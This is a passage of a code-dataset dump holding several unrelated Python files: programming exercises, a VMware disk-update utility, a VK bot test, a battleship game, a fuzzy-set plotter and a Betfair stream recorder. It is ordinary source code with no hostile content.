end='')\n print(each_item)\n\n# Nested lists\nmovies = [ \"The Holy Grail\", 1973, \"Terry Jones & Terry Gilliam\", 91,\n [ \"Graham Chapman\",\n [ \"Michael Palin\", \"John Cleese\", \"Terry Gilliam\", \"Eric Idle\", \"Terry Jones\"]\n ]\n ]\n\n# Call the print_lol function and pass it the movies list.\n#print_lol(movies) # chapter 1 version\n#print_lol(movies, 1) # chapter 2 version\n","sub_path":"nester_nb/nester.py","file_name":"nester.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"400520228","text":"class Solution:\n def findLadders(self, beginWord: str, endWord: str, wordList: List[str]) -> List[List[str]]:\n res = []\n # 路径缓存-集合类型\n cache = {beginWord}\n # 用于保存路径，最后逆向遍历出原路径\n pathDict = {}\n pathDict[beginWord] = None\n # 路径集合，查找效率比数组高\n wordDict = set(wordList)\n # 队列 优化为直接保存路径\n queue = [[beginWord]]\n lenOfString = len(beginWord)\n flag = True\n while len(queue) > 0:\n queueSize = len(queue)\n nextLevel = []\n for i in range(queueSize):\n curPath = queue.pop(0)\n cur = curPath[-1]\n if cur == endWord:\n res.append(curPath)\n break\n if not flag:\n break\n for j in range(lenOfString):\n for x in range(26):\n newStr = cur[:j] + chr(97+x) + cur[j+1:]\n if newStr not in cache and newStr in wordDict:\n newPath = [] + curPath\n newPath.append(newStr)\n queue.append(newPath)\n nextLevel.append(newStr)\n cache.update(nextLevel)\n if not res: return []\n return res","sub_path":"LeetCode/126. 单词接龙 II(bfs).py","file_name":"126. 单词接龙 II(bfs).py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"270209981","text":"\"\"\"\nЧисло 197 называется круговым простым числом, потому что все перестановки\nего цифр с конца в начало являются простыми числами: 197, 719 и 971.\n\nСуществует тринадцать таких простых чисел меньше 100:\n2, 3, 5, 7, 11, 13, 17, 31, 37, 71, 73, 79 и 97.\n\nСколько существует круговых простых чисел меньше миллиона?\n\"\"\"\n\n\nimport itertools as iter\n\n\ndef dividers(n):\n i = 2\n primfac = []\n while i * i <= n:\n while n % i == 0:\n primfac.append(i)\n n = n / i\n i = i + 1\n if n > 1:\n primfac.append(n)\n simples_uniq = list(set(primfac))\n counts = [[j for j in range(primfac.count(i) + 1)] for i in simples_uniq]\n delims = []\n for i in iter.product(*counts):\n delim = 1\n for j in range(len(i)):\n delim *= simples_uniq[j]**i[j]\n delims.append(int(delim))\n return sorted(delims)\n\n\nres_len = 0\n\nfor i in range(2, 1000000):\n if len(dividers(i)) <= 2:\n str_i = str(i)\n for j in str_i:\n if len(dividers(int(str_i))) > 2:\n break\n str_i = str_i[-1] + str_i[0: -1]\n else:\n res_len += 1\n\nprint(res_len)\n","sub_path":"35.py","file_name":"35.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"155272757","text":"# Copyright 2017 Bracket Computing, Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\").\n# You may not use this file except in compliance with the License.\n# A copy of the License is located at\n#\n# https://github.com/brkt/brkt-cli/blob/master/LICENSE\n#\n# or in the \"license\" file accompanying this file. This file is\n# distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\n# CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and\n# limitations under the License.\nimport logging\nimport os\nfrom brkt_cli.encryptor_service import (\n encryptor_did_single_disk,\n wait_for_encryptor_up,\n wait_for_encryption,\n)\nfrom brkt_cli.util import Deadline\nfrom brkt_cli.esx.esx_service import (\n launch_mv_vm_from_s3,\n validate_local_mv_ovf\n)\n\n\nlog = logging.getLogger(__name__)\n\n\ndef update_ovf_image_mv_vm(vc_swc, enc_svc_cls, values, guest_vm, mv_vm,\n user_data_str, static_ip=None):\n new_root_disk_name = None\n try:\n # Reconfigure VM with more CPUs and memory\n vc_swc.reconfigure_vm_cpu_ram(mv_vm)\n if static_ip:\n vc_swc.configure_static_ip(mv_vm, static_ip)\n # Clone the first disk of the encrypted guest VM and attach the\n # clone to the MV VM.\n log.info(\"Cloning guest root disk\")\n guest_root_disk = vc_swc.get_disk(guest_vm, unit_number=0)\n guest_root_disk_name = vc_swc.get_disk_name(guest_root_disk)\n new_root_disk_name = vc_swc.get_session_vmdk_name(guest_root_disk_name)\n vc_swc.clone_disk(source_disk=guest_root_disk,\n dest_disk_name=new_root_disk_name)\n vc_swc.add_disk(mv_vm, filename=new_root_disk_name, unit_number=1)\n # Power on the MV VM and wait for encryption\n vc_swc.power_on(mv_vm)\n # Send user data\n vc_swc.send_userdata(mv_vm, user_data_str)\n ip_addr = vc_swc.get_ip_address(mv_vm)\n log.info(\"MV VM ip address is %s\", ip_addr)\n # wait for encryption to complete\n host_ips = [ip_addr]\n enc_svc = enc_svc_cls(host_ips, port=values.status_port)\n log.info('Waiting for updater service on port %s on %s',\n enc_svc.port, ', '.join(host_ips))\n wait_for_encryptor_up(enc_svc, Deadline(600))\n try:\n wait_for_encryption(enc_svc)\n except Exception as e:\n log.exception(\"Update failed with error %s\", e)\n raise\n\n single_disk = encryptor_did_single_disk(enc_svc)\n\n # Power off the MV VM\n vc_swc.power_off(mv_vm)\n\n # Create final disk attachment\n if single_disk:\n guest_root_disk = vc_swc.detach_disk(guest_vm, unit_number=0)\n new_root_disk = vc_swc.detach_disk(mv_vm, unit_number=1)\n vc_swc.add_disk(guest_vm,\n filename=vc_swc.get_disk_name(new_root_disk),\n unit_number=0)\n else:\n guest_old_disk = vc_swc.detach_disk(guest_vm, unit_number=1)\n mv_old_disk = vc_swc.detach_disk(guest_vm, unit_number=0)\n # Clone and attach new MV disk to guest VM\n log.info(\"Cloning Metavisor disk\")\n new_disk = vc_swc.get_disk(mv_vm, unit_number=0)\n u_disk_name = vc_swc.clone_disk(source_disk=new_disk,\n dest_disk=mv_old_disk)\n # Add disks to guest VM\n vc_swc.add_disk(guest_vm, filename=u_disk_name, unit_number=0)\n vc_swc.add_disk(guest_vm,\n filename=vc_swc.get_disk_name(guest_old_disk),\n unit_number=1)\n vc_swc.delete_disk(new_root_disk_name)\n new_root_disk_name = None\n\n # Create images\n if values.encrypted_ovf_name:\n log.info(\"Creating images\")\n if values.target_path is None:\n raise Exception(\"Cannot create ova/ovf as target path is None\")\n if values.create_ova:\n # delete the old mf file\n os.remove(os.path.join(values.target_path,\n values.encrypted_ovf_name + \".mf\"))\n # import the new OVF\n ovf = vc_swc.export_to_ovf(guest_vm, values.target_path,\n ovf_name=values.encrypted_ovf_name)\n if values.create_ova:\n if values.ovftool_path is not None:\n # delete the old ova\n os.remove(os.path.join(values.target_path,\n values.encrypted_ovf_name + \".ova\"))\n ova = vc_swc.convert_ovf_to_ova(values.ovftool_path, ovf)\n print(ova)\n else:\n print(ovf)\n else:\n # delete the old vm template\n template_vm = vc_swc.find_vm(values.template_vm_name)\n old_template_vm_name = None\n if template_vm:\n old_template_vm_name = values.template_vm_name + \"-\" + \\\n vc_swc.session_id\n log.info(\"Renaming the old template to %s\",\n old_template_vm_name)\n try:\n vc_swc.rename_vm(template_vm, old_template_vm_name)\n except Exception as e:\n if \"vim.fault.FileFault\" not in str(e):\n raise\n log.info(\"Rename VM not supported. \"\n \"Deleting the old template %s.\", template_vm.name)\n if not vc_swc.find_vm(values.template_vm_name):\n vc_swc.change_vm_name(template_vm,\n values.template_vm_name)\n vc_swc.destroy_vm(template_vm)\n # clone the vm to create template\n log.info(\"Creating the template VM\")\n template_vm = vc_swc.clone_vm(guest_vm,\n vm_name=values.template_vm_name,\n template=True)\n print(vc_swc.get_vm_name(template_vm))\n if old_template_vm_name:\n old_template = vc_swc.find_vm(old_template_vm_name)\n if old_template:\n log.info(\"Deleting the old template\")\n vc_swc.destroy_vm(old_template)\n except Exception as e:\n log.exception(\"Failed to update the image with error %s\", e)\n if new_root_disk_name:\n vc_swc.delete_disk(new_root_disk_name)\n raise\n finally:\n vc_swc.destroy_vm(guest_vm)\n vc_swc.destroy_vm(mv_vm)\n log.info(\"Done\")\n\n\ndef launch_guest_vm(vc_swc, values):\n log.info(\"Launching encrypted guest VM\")\n if values.template_vm_name:\n template_vm = vc_swc.find_vm(values.template_vm_name)\n vm = vc_swc.clone_vm(template_vm)\n elif values.encrypted_ovf_name:\n if values.create_ova:\n ova = os.path.join(values.target_path,\n values.encrypted_ovf_name + \".ova\")\n vc_swc.convert_ova_to_ovf(values.ovftool_path, ova)\n vm = vc_swc.upload_ovf_to_vcenter(values.target_path,\n values.encrypted_ovf_name + \".ovf\",\n validate_mf=False)\n else:\n log.error(\"Cannot launch guest VM without template VM/OVF/OVA\")\n vm = None\n return vm\n\n\ndef update_from_s3(vc_swc, enc_svc_cls, values, download_file_list=None,\n user_data_str=None, static_ip=None):\n guest_vm = None\n mv_vm = None\n try:\n guest_vm = launch_guest_vm(vc_swc, values)\n except Exception as e:\n log.exception(\"Failed to lauch guest VM (%s)\", e)\n if (guest_vm is not None):\n vc_swc.destroy_vm(guest_vm)\n raise\n try:\n if values.source_image_path is None or download_file_list is None:\n log.error(\"Cannot get metavisor OVF from S3\")\n raise Exception(\"Invalid MV OVF\")\n mv_vm = launch_mv_vm_from_s3(vc_swc, values.source_image_path,\n download_file_list,\n vm_name=None, cleanup=values.cleanup)\n except Exception as e:\n log.exception(\"Failed to launch metavisor OVF from S3 (%s)\", e)\n if (mv_vm is not None):\n vc_swc.destroy_vm(mv_vm)\n if (guest_vm is not None):\n vc_swc.destroy_vm(guest_vm)\n raise\n update_ovf_image_mv_vm(vc_swc, enc_svc_cls, values, guest_vm, mv_vm,\n user_data_str, static_ip)\n\n\ndef update_from_local_ovf(vc_swc, enc_svc_cls, values, user_data_str=None,\n static_ip=None):\n guest_vm = None\n mv_vm = None\n if values.source_image_path is None or values.image_name is None:\n log.error(\"Metavisor OVF path needs to be specified\")\n return\n try:\n guest_vm = launch_guest_vm(vc_swc, values)\n except Exception as e:\n log.exception(\"Failed to lauch guest VM (%s)\", e)\n if (guest_vm is not None):\n vc_swc.destroy_vm(guest_vm)\n raise\n try:\n log.info(\"Launching MV VM from local OVF\")\n validate_local_mv_ovf(values.source_image_path, values.image_name)\n mv_vm = vc_swc.upload_ovf_to_vcenter(values.source_image_path,\n values.image_name)\n except Exception as e:\n log.exception(\"Failed to launch from metavisor OVF (%s)\", e)\n if (mv_vm is not None):\n vc_swc.destroy_vm(mv_vm)\n if (guest_vm is not None):\n vc_swc.destroy_vm(guest_vm)\n raise\n update_ovf_image_mv_vm(vc_swc, enc_svc_cls, values, guest_vm, mv_vm,\n user_data_str, static_ip)\n\n\ndef update_from_vmdk(vc_swc, enc_svc_cls, values, user_data_str=None,\n static_ip=None):\n guest_vm = None\n mv_vm = None\n if values.encryptor_vmdk is None:\n log.error(\"Metavisor VMDK is not specified\")\n return\n try:\n guest_vm = launch_guest_vm(vc_swc, values)\n except Exception as e:\n log.exception(\"Failed to lauch guest VM (%s)\", e)\n if (guest_vm is not None):\n vc_swc.destroy_vm(guest_vm)\n raise\n try:\n # Add datastore path to the vmdk\n metavisor_vmdk_path = vc_swc.get_datastore_path(values.encryptor_vmdk)\n # Create a metavisor VM\n vm = vc_swc.create_vm()\n # Attach metavisor vmdk as root disk\n vc_swc.add_disk(vm, filename=metavisor_vmdk_path, unit_number=0)\n except Exception as e:\n log.exception(\"Failed to launch metavisor VMDK (%s)\", e)\n if (mv_vm is not None):\n vc_swc.destroy_vm(mv_vm)\n if (guest_vm is not None):\n vc_swc.destroy_vm(guest_vm)\n raise\n update_ovf_image_mv_vm(vc_swc, enc_svc_cls, values, guest_vm, mv_vm,\n user_data_str, static_ip)\n","sub_path":"brkt_cli/esx/update_vmdk.py","file_name":"update_vmdk.py","file_ext":"py","file_size_in_byte":11072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"420036473","text":"import vk_api\nfrom vk_api.longpoll import VkLongPoll, VkEventType, VkLongpollMode\nfrom vk_api.utils import get_random_id\n\ndef main():\n vk_session = vk_api.VkApi(token=TOKEN_vk)\n vk = vk_session.get_api()\n longpoll = VkLongPoll(vk_session)\n\n for event in longpoll.listen():\n if event.type == VkEventType.MESSAGE_NEW and event.to_me and event.text:\n vk.messages.send(\n user_id=event.user_id,\n random_id=get_random_id(),\n message='nothing'\n )\n print('{} sent text message: {}'.format(event.user_id, event.text))\n elif event.type == VkEventType.MESSAGE_NEW and event.to_me:\n if event.raw[7]['attach1_type'] == 'photo':\n\n print(vk.messages.getHistoryAttachments(peer_id=event.user_id,\n media_type='photo',\n start_from=0,\n count=1,\n photo_sizes=0,\n preserve_order=1\n ).get('items')[0]['attachment']['photo']['sizes'][-1]['url'])\n # ['items'][0]['attachment']['photo']['sizes'][3]['url']\n\n\nif __name__ == '__main__':\n main()","sub_path":"test_smth.py","file_name":"test_smth.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"76469777","text":"import random\n\n# класс игрового корабля.\nclass Ship:\n\n def __init__(self, x, y, decks, degree = 1):\n self.x = x\n self.y = y\n self.decks = decks\n self.life = decks\n self.degree = degree\n self.is_dead = False\n\n\n def get_status(self):\n return self.is_dead\n\n def shot(self):\n self.life -= 1\n if self.life == 0:\n self.is_dead = True\n return True\n\n @property\n def positions(self):\n self.cells = []\n if self.degree:\n for i in range(self.decks):\n self.cells.append((self.x+i, self.y))\n else:\n for i in range(self.decks):\n self.cells.append((self.x, self.y+i))\n return self.cells\n\n\n# Игровая доска. Для игры их создается две: под компьютер и под игрока.\nclass Board:\n\n def __init__(self, name):\n self.board = [[i for i in range(1,7)]] + [[0 for i in range(6)] for i in range(6)]\n self.name = name\n self.all_ships = []\n self.shots = None\n self.forbid_turns = []\n self.problem = []\n\n\n # метод проверки есть ли еще живые корабли - если нет, то у нас есть победитель\n def get_winner(self):\n for ship in self.all_ships:\n if not ship.get_status():\n print('\\nВ море еще остались враги! Покажем им в следующем раунде!\\n***********\\n\\n')\n return False\n print(f'\\n{self.name} побеждает в этом раунде! Поздравляю!\\n***********\\n\\n')\n return True\n\n\n # метод вывода текущего состояния доски для игры\n def print_board(self):\n for index, line in enumerate(self.board):\n line = list(map(str, line))\n print(index, ' '.join(line))\n\n\n # метод для показа текущего расположения кораблей и выстрелов - для тестирования\n # данный метод планировалось использовать вместо show_ships, однако этот метод меняет аттрибут self.board\n # на момент сдачи работы решить из-за чего возникает проблема не удалось\n def show_ships_test(self):\n new_board = self.board.copy()\n for ship in self.all_ships:\n for position in ship.positions:\n x, y = position\n if new_board[x][y] != 'x' and new_board[x][y] != '■':\n new_board[x][y] = '■'\n for index, line in enumerate(new_board):\n line = list(map(str, line))\n print(index, ' '.join(line))\n\n\n # метод для показа текущего расположения кораблей игроку, чтобы было понимание куда можно размещать, а куда нет\n # изначально планировалось использовать для этой цели show_ships_test(self)\n def show_ships(self):\n new_board = [[i for i in range(1,7)]] + [[0 for i in range(6)] for i in range(6)]\n for ship in self.all_ships:\n for position in ship.positions:\n x, y = position\n new_board[x][y] = '■'\n for index, line in enumerate(new_board):\n line = list(map(str, line))\n print(index, ' '.join(line))\n\n\n # метод для проверки на возможность разместить корабль в данной точке\n def check_empty(self, cell):\n if self.all_ships is None:\n return True\n else:\n for ship in self.all_ships:\n if cell in ship.positions:\n return False\n else:\n if cell in self.forbid_turns:\n return False\n return True\n\n\n # метод проверки что координата находится в рамках игрового поля\n def check_in_field(self, cell):\n x,y = cell\n if x in range(1,len(self.board)) and y in range(0,len(self.board[0])):\n return True\n else:\n return False\n\n\n # метод генераниции клеток в которые запрещено ставить корабли\n # берет клетку создаваемого коробля и в пишет в запретные клетки все клетки вокруг нее в радиусе 1\n def gener_forbid_turns(self, cell):\n x,y = cell\n for row in range(-1, 2):\n for col in range(-1, 2):\n if x + row > 0 and y + col >= 0:\n if (x + row, y + col) not in self.forbid_turns \\\n and (x + row, y + col) != (x,y):\n self.forbid_turns.append((x + row, y + col))\n\n\n # метод размещения кораблей на полей\n def set_ship(self,*args):\n new_ship = Ship(*args)\n go = []\n for cell in new_ship.positions:\n # проверяем, чтобы каждая клетка была свободна от другого корабля, клетка не находилась в списке\n # запретных клеток (правило - миниму 1 клетка от соседнего корабля), а также клетка корабля должна\n # находится в рамках текущего игрового поля\n result = self.check_empty(cell) and self.check_in_field(cell)\n go.append(result)\n\n if all(go):\n if self.all_ships is None:\n self.all_ships = []\n self.all_ships.append(new_ship)\n for i, cell in enumerate(new_ship.positions):\n self.gener_forbid_turns(cell)\n return True\n else:\n return False\n\n\n # метод выделения подбитого корабля. Если корабль уничтожен, то все клетки в радиусе 1 меняют внешний вид\n # для обозначения контура подбитого корабля и знак игроку, что стрелять туда не имеет смысла\n def ship_dead(self, positions):\n for cell in positions:\n x,y = cell\n for row in range(-1, 2):\n for col in range(-1, 2):\n if x + row in range(1, len(self.board)) and y + col in range(0,len(self.board[0]))\\\n and ((x + row, y + col) != cell and self.board[x + row][y + col] != 'x' and self.board[x + row][y + col] != '■'):\n self.board[x + row][y + col] = '•'\n\n\n # метод общения игрока с программой - фактически просит ввести координаты и проверяет ввод является числами\n # и эти числа находятся в рамках игрового поля\n def user_choice(self):\n text = f'Ваши координаты должны быть целыми числами от 1 до {len(self.board[0])}.'\n while True:\n x = input ('\\nВыберите ряд - ')\n try:\n x = int(x)\n if x not in range(1,len(self.board)):\n print(text)\n else:\n break\n except ValueError:\n print(text)\n while True:\n y = input('Выберите колонку - ')\n try:\n y = int(y) - 1\n if y < 0 or y > len(self.board[0]):\n print(text)\n else:\n break\n except ValueError:\n print(text)\n return x,y\n\n\n # метод - выстрел человека\n def shot_user(self):\n while True:\n print(f'{self.name} приготовиться к атаке! Вывожу последние данные:')\n self.print_board()\n x,y = self.user_choice()\n go = self.shot(x,y)\n if go:\n break\n print('Ой! Мы уже стреляли в эту клетку! Надо выбрать другую.\\n')\n\n\n # обработка выстрела - получаем координаты от игрока или компьютера и обрабатываем их\n def shot(self, x, y):\n x,y = x,y\n if self.shots is None:\n self.shots = []\n if (x, y) in self.shots:\n return False\n for ship in self.all_ships:\n if (x, y) in ship.positions:\n print('Попадание! Так держать коммандор!\\n')\n self.board[x][y] = 'x'\n ship.shot()\n if ship.get_status():\n self.ship_dead(ship.positions)\n print('Корабль врага повержен!\\n')\n self.shots.append((x, y))\n return True\n print('Мимо! В следующий раз точно повезет!\\n')\n self.board[x][y] = '•'\n self.shots.append((x, y))\n return True\n\n\n # метод - выстрел компьютера\n def shot_ai(self):\n while True:\n x,y = (random.randint(1, 6),random.randint(0, 5))\n if self.shots is None:\n self.shots = []\n if (x,y) not in self.shots:\n break\n print(f'{self.name} выбирает для выстрела клетку - {x},{y + 1}!')\n self.shot(x,y)\n\n\n # метод-генерация доски игроком\n def set_user_deck(self):\n decks = (1,1,1,3,)\n for i, deck in enumerate(decks):\n while True:\n print(f'Размещаем корабль {i + 1}. Количество палуб - {deck}.')\n self.show_ships()\n degree = 1\n if deck > 1:\n while True:\n degree = input('''Это большой корабль! Выберите положение для корабля:\n1 - следующие палубы пойдут от стартовой координаты вниз.\n0 - следующие палубы пойдут от стартовой координаты вправо.\nВы выбираете - ''')\n try:\n degree = int(degree)\n if degree in range(0,2):\n break\n else:\n print('Ошибка! Вы должны напечатать 1 или 0. Попробуйте снова.')\n except ValueError:\n print('Ошибка! Вы должны напечатать 1 или 0. Попробуйте снова.')\n x,y = self.user_choice()\n if self.set_ship(x, y, deck, degree):\n print('Отлично! Корабль размещен!\\n')\n break\n else:\n print('Командор! У нас ошибка: эта зона занята другим кораблем. Попробуем разместить заново.')\n print('Отлично! Все корабли на месте. Начинаем игру.')\n\n\n # метод-генерация доски компьютером\n def set_ai_deck(self):\n decks = (1,1,1,3,)\n for deck in decks:\n while True:\n x,y = random.randint(1,6), random.randint(0,5)\n degree = random.randint(0,1)\n go = self.set_ship(x,y,deck,degree)\n if go:\n break\n\n\n# данный класс отвечает за запуск игры, и режимы игры: игра между ИИ (для поиска проблем), игра между компьютером\n# человеком. По идее используя данный контроллер и класс Board можно еще написать вариант игры между 2 игроками\nclass GameContoller:\n def __init__(self):\n self.comp_1 = 'Comp 1'\n self.comp_2 = 'Comp 2'\n\n # рандомайзер хода для теста Комп против компа\n def who_is_first_ai(self, deck_1, deck_2):\n print(f'Определяем кто начинает партию: {deck_1.username} или {deck_2.username}.')\n turn = random.randint(0,1)\n if turn:\n print(f'Первым ходит {deck_1.username}')\n return deck_1, deck_2\n print(f'Первым ходит {deck_2.username}')\n return deck_2, deck_1\n\n # создаем имя игрока для типа игры Комп vs Игрок\n def set_user(self):\n self.user = input('Добро пожаловать в игру!\\nНазовите свое имя: ')\n\n # тестирование игры на компьютерах\n def ai_game(self):\n board_1, board_2 = Board(self.comp_1), Board(self.comp_2)\n print(f'Добро пожаловать в игру - {board_1.username}, {board_2.username} ')\n board_1, board_2 = self.who_is_first_ai(board_1, board_2)\n print('Резмещаем свои корабли!')\n board_1.set_ai_deck()\n board_2.set_ai_deck()\n while True:\n print(f'Ход игрока {board_1.username}')\n board_1.print_board()\n print()\n board_1.shot_ai()\n board_1.print_board()\n game_over = input('Едем дальше? - ')\n if game_over:\n break\n game_over = board_1.get_winner()\n if game_over:\n break\n board_1, board_2 = board_2, board_1\n\n # метод для запуска игры между компьютером или человеком\n # он получился немного перегруженный - не успел нормально переписать\n def game(self):\n self.set_user()\n userBoard, aiBoard = Board(self.user), Board(self.comp_1)\n userBoard.set_ai_deck()\n aiBoard.set_user_deck()\n user_start = random.randint(0,1)\n\n print('\\nВеликий рандом решил, что человек будет ходить первым!') if user_start else print('\\nВеликий рандом решил, что компьютер будет ходить первым!')\n while True:\n if user_start:\n userBoard.shot_user()\n print('Вывожу результат:')\n userBoard.print_board()\n if userBoard.get_winner():\n break\n\n aiBoard.shot_ai()\n print('Вывожу результат:')\n aiBoard.print_board()\n if aiBoard.get_winner():\n break\n else:\n aiBoard.shot_ai()\n print('Вывожу результат:')\n aiBoard.print_board()\n if aiBoard.get_winner():\n break\n userBoard.shot_user()\n print('Вывожу результат:')\n userBoard.print_board()\n if userBoard.get_winner():\n break\n\ngame = GameContoller()\ngame.game()","sub_path":"warships/warsClasse.py","file_name":"warsClasse.py","file_ext":"py","file_size_in_byte":15922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"61689411","text":"# fuzzyplotter.py\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom fuzzyset import FuzzySet\nfrom fuzzyvariable import FuzzyVariable\nfrom fuzzifier import FuzzyDataset\n\nclass FuzzyPlotter(object):\n\n def __init__(self, fuzzy_obj, xlabel=None, ylabel=None):\n self.xlabel = xlabel\n self.ylabel = ylabel\n if isinstance(fuzzy_obj, list):\n self.fuzzy_obj = fuzzy_obj\n self._plot_list()\n elif isinstance(fuzzy_obj, FuzzyVariable):\n self.fuzzy_obj = fuzzy_obj\n self._plot_fuzzyvar()\n elif isinstance(fuzzy_obj, FuzzySet):\n self.fuzzy_obj = fuzzy_obj\n self._plot_fuzzyset()\n elif isinstance(fuzzy_obj, FuzzyDataset):\n self.fuzzy_obj = fuzzy_obj\n self._plot_fuzzydata()\n \n## def __call__(self):\n## plt.figure()\n## plt.title('Fuzzy Set')\n## for fuzz in self.fuzzy_obj:\n## plt.plot(fuzz.x, fuzz.m)\n## plt.xlabel('Variable')\n## plt.ylabel('Membership Degree')\n## plt.show()\n\n def _plot_list(self):\n plt.figure()\n plt.title('Fuzzy Set')\n for i, fuzz in enumerate(self.fuzzy_obj):\n plt.plot(fuzz.x, fuzz.m)\n plt.xlim(fuzz.x[0] - 5e-1, fuzz.x[-1] + 5e-1)\n plt.ylim(0, 1.2)\n plt.xlabel('X')\n plt.ylabel('μ(x)')\n plt.show()\n\n def _plot_fuzzyset(self, obj=None):\n plt.figure()\n plt.title('Fuzzy Set')\n plt.plot(self.fuzzy_obj.x, self.fuzzy_obj.m)\n plt.xlim(self.fuzzy_obj.x[0] - 5e-1, self.fuzzy_obj.x[-1] + 5e-1)\n plt.ylim(0, 1.2)\n plt.xlabel('X')\n plt.ylabel('μ(x)')\n plt.show()\n \n def _plot_fuzzyvar(self, obj=None):\n x = self.fuzzy_obj.x\n name = self.fuzzy_obj.name\n fuzz = self.fuzzy_obj.fuzzy\n terms = self.fuzzy_obj.terms\n fig = plt.figure()\n plt.title('{}'.format(name))\n for i, f in enumerate(fuzz):\n plt.plot(x, f.func(x), label=terms[i])\n if self.xlabel is None:\n plt.xlabel('Universe of Discourse')\n else:\n plt.xlabel(self.xlabel)\n if self.ylabel is None:\n plt.ylabel('Membership Degree')\n else:\n plt.ylabel(self.ylabel)\n plt.legend()\n plt.show()\n\n def _plot_fuzzydata(self):\n for i, fvar in enumerate(self.fuzzy_obj.fuzzy_variables.values()):\n plt.figure()\n plt.title('{}'.format(fvar.name))\n x = fvar.x\n terms = fvar.terms\n for j, fuzz in enumerate(fvar.fuzzy):\n s = 'fuzz.func.{}(x, fuzz.prmts)'.format(fuzz.mfunc)\n plt.plot(x, eval(s), label=terms[j])\n plt.xlim(x[0],x[-1])\n plt.ylim(0, 1.2)\n plt.xlabel('{}'.format(fvar.name))\n plt.ylabel('μ(x)')\n plt.legend()\n #plt.show()\n plt.savefig('{}'.format(fvar.name))\n \n## n = len(self.fuzzy_obj)-1\n## fig, axes = plt.subplots(n//2+1, 2, figsize=(16, 16), sharey=True)\n## for i, ax in enumerate(axes.flatten()):\n## try:\n## fvar = self.fuzzy_obj.fuzzy_variables[i]\n## x = fvar.x\n## name = fvar.name\n## fuzz = fvar.fuzzy\n## terms = fvar.terms\n## ax.set_title('{}'.format(name), fontsize=9)\n## for i, f in enumerate(fuzz):\n## s = 'f.func.{}(x, f.prmts)'.format(f.mfunc)\n## ax.plot(x, eval(s), label=terms[i])\n## ax.legend(fontsize=6)\n## ax.set_ylabel('μ(x)')\n## except KeyError:\n## fvar = self.fuzzy_obj.fuzzy_variables[-1]\n## x = fvar.x\n## name = fvar.name\n## fuzz = fvar.fuzzy\n## terms = fvar.terms\n## ax.set_title('{}'.format(name), fontsize=9)\n## for i, f in enumerate(fuzz):\n## s = 'f.func.{}(x, f.prmts)'.format(f.mfunc)\n## ax.plot(x, eval(s), label=terms[i])\n## ax.legend(fontsize=6)\n## ax.set_ylabel('μ(x)')\n## plt.show()\n## plt.subplots_adjust(left=0.15, wspace=0.2, hspace=0.4) \n## plt.show()\n\n\n### Testing/Debbuging \n##uod = np.arange(-10,50,0.1)\n##A = FuzzySet(uod)\n##A.set_mf('trimf', [-5,2,12])\n##B = FuzzySet(uod)\n##B.set_mf('trapmf', [8,14,22,28])\n##C = FuzzySet(uod)\n##C.set_mf('gaussmf', [30,4])\n##t = ['Low', 'Average', 'High']\n##fv = FuzzyVariable('Temperature', uod, t)\n##fv.setfuzzy([A,B,C])\n##plot = FuzzyPlotter(fv)\n\n","sub_path":"fdt-o3/fuzzyplotter.py","file_name":"fuzzyplotter.py","file_ext":"py","file_size_in_byte":4672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"596405517","text":"mem=int(input('enter total memory available '))\nblocksize=int(input('enter block size '))\nprocesses=int(input('enter number of processes '))\n\nreq=[]\nfor i in range(processes):\n req.append(int(input('memory required by processes ')))\n\nblocks=int(input(\"enter number of blocks available \"))\nint_frag=0\next_frag=0\nprint(\"Process\\tmem req\\tmem alloc\\tint_frag\")\nj=i=0\nwhile(i\n self.live_markets = [] # list of markets to be processed\n self._setup()\n logger.info('Recorder created %s' % self.stream_id)\n\n def __call__(self, market_books, publish_time):\n \"\"\"Checks market using market book parameters\n function then passes market_book to be processed.\n\n :param market_books: List of Market Book objects\n :param publish_time: Publish time of market book\n \"\"\"\n for market_book in market_books:\n market_id = market_book.get('id')\n self.check_market_book(market_id, market_book)\n if market_id in self.live_markets:\n self.process_market_book(market_book, publish_time)\n\n def check_market_book(self, market_id, market_book):\n \"\"\"Logic used to decide if market_book should\n be processed\n\n :param market_id: Market id\n :param market_book: Market Book object\n \"\"\"\n if market_id not in self.live_markets:\n self.live_markets.append(market_id)\n\n def process_market_book(self, market_book, publish_time):\n \"\"\"Function that processes market book\n\n :param market_book: Market Book object\n :param publish_time: Publish time of market book\n \"\"\"\n raise NotImplementedError\n\n def on_market_closed(self, market_book):\n \"\"\"Function run when market is closed, this\n may execute more than once if update received\n after being closed.\n \"\"\"\n market_id = market_book.get('id')\n market_definition = market_book.get('marketDefinition')\n logger.info('Closing market %s' % market_id)\n self.storage_engine(market_id, market_definition, self.stream_id)\n\n def _setup(self):\n \"\"\"Create stream folder in /tmp # todo\n \"\"\"\n directory = os.path.join('/tmp', self.stream_id)\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n def __str__(self):\n return '<%s>' % self.NAME\n\n\nclass StreamRecorder(BaseRecorder):\n \"\"\"Data recorder, records stream data\n to /tmp/market_id, a single market per\n file.\n \"\"\"\n\n NAME = 'STREAM_RECORDER'\n\n def process_market_book(self, market_book, publish_time):\n filename = '%s' % market_book.get('id')\n file_directory = os.path.join('/tmp', self.stream_id, filename)\n\n with open(file_directory, 'a') as outfile:\n outfile.write(\n json.dumps({\n \"op\": \"mcm\",\n \"clk\": None,\n \"pt\": publish_time,\n \"mc\": [market_book]\n }) + '\\n'\n )\n\n if 'marketDefinition' in market_book and market_book['marketDefinition']['status'] == 'CLOSED':\n 